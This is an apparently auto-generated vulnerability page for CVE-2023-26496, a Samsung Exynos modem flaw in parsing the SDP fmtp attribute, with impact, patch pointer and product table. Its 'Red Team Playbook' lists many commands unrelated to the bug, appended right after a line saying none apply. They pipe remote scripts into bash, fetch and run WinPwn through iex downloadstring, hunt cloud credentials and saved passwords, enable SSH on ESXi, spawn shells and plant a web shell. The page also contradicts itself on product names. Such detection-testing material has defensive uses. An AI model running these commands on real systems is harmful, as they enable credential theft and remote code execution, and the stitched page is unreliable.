CVE-2023-26496
Overview
This vulnerability is a memory corruption issue caused by improper validation of parameter length during the parsing of the fmtp attribute within the Session Description Protocol (SDP) module. The flaw resides in the Samsung Baseband Modem Chipset software components for Exynos Modem 5123, 5300, Exynos 980, Exynos 1080, and Exynos Auto T5124. Specifically, the vulnerable code fails to correctly check the length of input data, leading to out-of-bounds memory access during SDP message processing.
Vulnerability Description
An issue was discovered in Samsung Baseband Modem Chipset for Exynos Modem 5123, Exynos Modem 5300, Exynos 980, Exynos 1080, and Exynos Auto T5124. Memory corruption can occur due to improper checking of the parameter length while parsing the fmtp attribute in the SDP (Session Description Protocol) module.
Impact
An unauthenticated attacker with network access can exploit this vulnerability by sending specially crafted SDP messages to the affected modem chipsets, causing memory corruption. This can result in potential arbitrary code execution or denial of service within the modem's processing environment. The vulnerability requires no user interaction and no privileges (AV:N/AC:L/PR:N/UI:N), increasing its exploitability in remote attack scenarios. Successful exploitation could compromise device stability or enable further compromise of the modem firmware.
Solution
Samsung has released security updates for the affected Exynos modem firmware versions addressing this memory corruption issue. Users and device manufacturers should apply the latest firmware patches provided through Samsung's official semiconductor security update channels, as detailed at https://semiconductor.samsung.com/support/quality-support/product-security-updates/. Specific advisory identifiers or patch version numbers are available through Samsung's product security updates portal and should be referenced to ensure complete remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Samsung Baseband Modem Chipset, specifically affecting the Exynos Modem 5123, Exynos Modem 5300, Exynos 980, Exynos 1080, and Exynos Auto T5124, stems from a critical flaw in the Session Description Protocol (SDP) module. This issue arises due to improper validation of parameter lengths when parsing the fmtp attribute, leading to potential memory corruption. Such memory corruption can allow an attacker to manipulate the execution flow of the affected devices, which may result in arbitrary code execution or denial of service. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to the integrity and availability of devices utilizing these modem chipsets.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on scenarios where an attacker can send specially crafted SDP messages to the affected devices. This could be achieved through malicious network traffic, particularly in environments where the devices are connected to untrusted networks or during VoIP (Voice over Internet Protocol) calls. An attacker could leverage this flaw to execute arbitrary code remotely, potentially gaining unauthorized access to sensitive data or control over the device. Additionally, the exploitation could lead to service interruptions, affecting the overall functionality of the device and compromising user trust.
The real-world impact of this vulnerability is significant, particularly for businesses relying on mobile devices powered by the affected Exynos modem chipsets. The potential for unauthorized access to sensitive information, including personal data and corporate communications, poses a substantial business risk. Furthermore, the ability to disrupt services could lead to financial losses, reputational damage, and legal ramifications if customer data is compromised. Organizations must recognize that the implications extend beyond immediate technical concerns, as they may face regulatory scrutiny and loss of customer confidence in the wake of a successful attack.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from Samsung should be prioritized, as these will address the underlying issues in the firmware. Network monitoring tools can be employed to detect unusual traffic patterns indicative of exploitation attempts, such as malformed SDP messages. Additionally, employing intrusion detection systems (IDS) can help identify and block malicious activities targeting the modem chipsets. Educating users about the risks associated with connecting to untrusted networks and the importance of keeping devices updated can further strengthen defenses against potential exploitation.
In conclusion, the vulnerability affecting the Samsung Baseband Modem Chipset represents a critical risk that necessitates immediate attention from both device manufacturers and end-users. The potential for exploitation through crafted SDP messages highlights the need for robust security practices and timely updates. Organizations must remain vigilant in their cybersecurity posture to safeguard against the threats posed by this and similar vulnerabilities, ensuring the integrity and availability of their devices and protecting sensitive information from unauthorized access.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Exynos Modem 5300 Firmware | N/A |
cpe:2.3:o:samsung:exynos_modem_5300_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos Modem 5123 Firmware | N/A |
cpe:2.3:o:samsung:exynos_modem_5123_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos 980 Firmware | N/A |
cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos 1080 Firmware | N/A |
cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos Auto T5123 Firmware | N/A |
cpe:2.3:o:samsung:exynos_auto_t5123_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-26496 |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/processor/modem/ |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/processor/mobile-processor/ |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/support/quality-support/product-security-updates/ |